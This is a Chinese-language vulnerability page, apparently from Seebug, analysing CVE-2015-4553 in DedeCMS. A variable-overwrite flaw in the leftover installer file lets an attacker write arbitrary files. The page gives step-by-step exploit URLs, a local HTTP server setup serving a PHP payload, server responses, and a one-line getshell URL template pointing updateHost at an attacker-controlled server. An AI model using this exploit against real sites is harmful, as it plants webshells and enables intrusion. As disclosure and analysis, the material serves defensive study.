Dedecms远程写文件漏洞

2015-09-0700:00:00

拿破轮胎

www.seebug.org

0.916 High

EPSS

Percentile

98.9%

JSON

来源链接：http://seclists.org/fulldisclosure/2015/Jun/47

http://blog.nsfocus.net/dedecms-write-file-vuln/

0x00 <a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>概述2015年6月17日seclists网站上公布了Dedecms的一个远程getshell<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>细节，造成这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>的原因也有些让人玩味。官方已在2015年6月18日发布了修复版本，下载链接：<a href=“http://www.dedecms.com/products/dedecms/downloads/”>http://www.dedecms.com/products/dedecms/downloads/</a>本篇文章将分析这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>的成因，并给出触发利用方法。<h2>0x01 漏洞根源</h2>这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>主要由两个原因引起的，其中最重要的一个原因，便是开发者没有认识到Apache服务器解析文件的流程，从而导致安装文件在安装后居然可以被继续访问。这里接单解释下Apache解析文件的流程：<blockquote>当Apache检测到一个文件有多个扩展名时，如1.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak，会从右向左判断，直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识，那么变会按照httpd.conf配置中所指定的方式展示这个问题，一般默认情况下是“text/plain”这种方式。那么这样的话，像1.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak这样的文件名就会被当做<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件所解析。这也就是传说中的Apache解析<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>。</blockquote>了解了Apache解析<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>，我们就可以继续来看出问题的install/index.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak文件代码，问题代码如下：[<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>] else if($step==11) { require_once(‘…/data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>’); $rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”; echo $rmurl; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,’w’); if(fwrite($fp,$sql_content)) echo ‘ [√] 存在(您可以选择安装进行体验)‘; else echo ‘ [×] 远程获取失败’; unset($sql_content); fclose($fp); exit(); [/<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>]了解Dedecms参数机制的同学都知道，代码中的一些变量我们是可以通过GET参数的方式进行操控的。那么上面代码很明显，可以向指定的文件内写入任意内容，从而导致获取webshell。<h2>0x02 漏洞利用</h2>从代码中我们可以看到在step=11中，先包含了data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件，这文件中指定了updataHost变量的值，这样来看似乎我们没有办法来向指定写内容。但是如果我们指定install_demo_name是config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件这个文件，并且内容是一个404文件，会造成什么效果呢？我们先来访问这个url:<a href=“http://192.168.204.135/install/index.”>http://192.168.204.135/install/index.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>这会让代码到<a href=“http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt”>http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt</a>中取内容写入到config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>，demodata.a.txt如下图：<img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/demodata.a.txt-300x119.jpg” alt=“demodata.a.txt” width=“300” height=“119”>访问PoC之后config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件内容如下图：<img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/config_update.php_.jpg”>这样updataHost变量值便没有被初始化了，之后我们想写什么就可以些什么了。这里我们用下面的这个url做测试:<a href=“http://192.168.204.135/install/index.”>http://192.168.204.135/install/index.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/tang3.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>&updateHost=<a href=“http://192.168.1.1/”>http://192.168.1.1/</a>访问<a href=“http://192.168.204.135/data/tang3.”>http://192.168.204.135/data/tang3.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>，效果如下图：<img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/payload-300x150.jpg” alt=“payload” width=“300” height=“150”><h2>0x03 漏洞总结</h2><h3>漏洞小结</h3><ol><li>影响范围个人评价为“高”，Dedecms在国内使用范围很广，各种中小型网站，政府网站都是用它搭建的。</li><li>危害性个人评价为“高”，此<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>在Apache默认环境下，即可获取webshell，危害很大。</li></ol><h3> </h3>
<h3>补充内容：</h3>
#############################################################################

[CVE-2015-4553]Dedecms variable coverage leads to getshell# CVE ID: CVE-2015-4553# Subject: Dedecms variable coverage leads to getshell# Author: zise# Date: 06.17.2015#############################################################################Introduction:========dedecms Open source cmsExtensive application Influence versionNewest dedecms 5.7-sp1 and all old version Remote getshellDetails:=======After the default installation of dedecmsInstallation directory 安装路径说明/install/index.phpor/install/index.php.bak /install/index.php //run iis apache exploit/install/index.php.bak //run apache exploitCode analysis 源码分析：/install/index.php.bak?install_demo_name=aaaa&insLockfile=bbbb###########index.php.bak 的源码分析###########################################17 $install_demo_name = ‘dedev57demo.txt’;18 $insLockfile = dirname(FILE).‘/install_lock.txt’; // here $install_demo_name and $insLockfile definition 变量定义并初始化// echo $install_demo_name; printf dedev57demo.txt 29 foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as $_request)30 {31 foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);32 } // echo $install_demo_name; printf aaaa 变量内容被覆盖,这就是漏洞所在了// $install_demo_name by variable coverage############################################################################# 漏洞利用方法： GETSHELL Step 1 Clear file contents config_update.php#############################################################################config_update.php 13 $updateHost = ‘<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>’;14 $linkHost = ‘<a href=“http://flink.dedecms.com/server_url.php”>http://flink.dedecms.com/server_url.php</a>’; //In order to obtain the webshell need to control $updateHost//So the use of variable coverags cleared config_update.php// 通过漏洞来覆盖$updatehost的值。具体方法就是使用下面这个url。 <a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a>?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/admin/config_update.php ########这段代码的作用是文件内容copy#############373 else if($step==11)374 {375 require_once(‘…/data/admin/config_update.php’);376 $rmurl = $updateHost.“dedecms/demodata.{$s_lang}.txt”;377378 $sql_content = file_get_contents($rmurl);379 $fp = fopen($install_demo_name,‘w’); //向文件中写入语句380 if(fwrite($fp,$sql_content))381 echo ‘  [√] 存在(您可以选择安装进行体验)’;382 else383 echo ‘  [×] 远程获取失败’;384 unset($sql_content);385 fclose($fp);386 exit();387 } #根据以上代码，下面的URL访问的结果就是向/data/admin/config_update.php文件中写入<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>dedecms/demodata.a.txt文件的内容。<a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a>?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/admin/config_update.php###HTTP/1.1 200 OKDate: Wed, 17 Jun 2015 06:55:23 GMTServer: Apache/2.4.12X-Powered-By: PHP/5.6.6Vary: User-AgentContent-Length: 55Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8 [×] 远程获取失败###访问的响应包,之所以访问失败，是因为<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>dedecms/demodata.a.txt 的内容不存在。#### ###After execution file 0 byte ~ho~year~####2015/06/17 14:55 0 config_update.php 1 file 0 byte GETSHELL Step 2#############################################################################Create local HTTP services #自己部署一个本地http服务器，下面是命令和输出。 zise:tmp zise$ ifconfig en0en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500inet 119.253.3.18 netmask 0xffffff00 broadcast zise:tmp zise$ mkdir “dedecms”zise:tmp zise$ cd dedecms/zise:dedecms zise$ echo “<?php phpinfo();?>” > demodata.a.txtzise:dedecms zise$ cd …/zise:tmp zise$ python -m SimpleHTTPServerServing HTTP on 0.0.0.0 port 8000 …192.168.204.135 - - [17/Jun/2015 15:11:18] “GET /dedecms/demodata.a.txt HTTP/1.0” 200 -##创建了http服务器，并且有一个可以访问的文本，其中的内容是显示phpinfo。 ####<a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a>?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=<a href=“http://119.253.3.18:8000/”>http://119.253.3.18:8000/</a>##url后跟的参数都是由这个URL对应的php页面来处理的吧##访问的结果就是向/data/admin/hello.php文件中写入<a href="http://119.253.3.18:8000/">http://119.253.3.18:8000/</a> 中"dedecms/demodata.a.txt"文件的内容。 #### HTTP/1.1 200 OKDate: Wed, 17 Jun 2015 07:11:18 GMTServer: Apache/2.4.12X-Powered-By: PHP/5.6.6Vary: Accept-Encoding,User-AgentContent-Length: 81Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8 [√] 存在(您可以选择安装进行体验) 再来看前面那段index.php.bak的源码：373 else if($step==11)374 {375 require_once(‘…/data/admin/config_update.php’);376 $rmurl = $updateHost.“dedecms/demodata.{$s_lang}.txt”;377378 $sql_content = file_get_contents($rmurl);379 $fp = fopen($install_demo_name,‘w’);380 if(fwrite($fp,$sql_content)) //fwrite websehll 文件写入就是这里发生的，写入的内容则由自己控制的文本确定。381 echo ‘  [√] 存在(您可以选择安装进行体验)’;382 else383 echo ‘  [×] 远程获取失败’;384 unset($sql_content);385 fclose($fp);386 exit();387 } <a href=“http://192.168.204.135/install/hello.php#”>http://192.168.204.135/install/hello.php#</a>这就是webshell的页面 This is the vulnerability of some web pages<a href=“http://seclists.org/fulldisclosure/2015/Jun/47”>http://seclists.org/fulldisclosure/2015/Jun/47</a>所以,利用只需一步，访问这个url即可：http://目标IP/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://自己控制的http服务器/

0.916 High

EPSS

Percentile

98.9%

JSON

Related for SSV:89354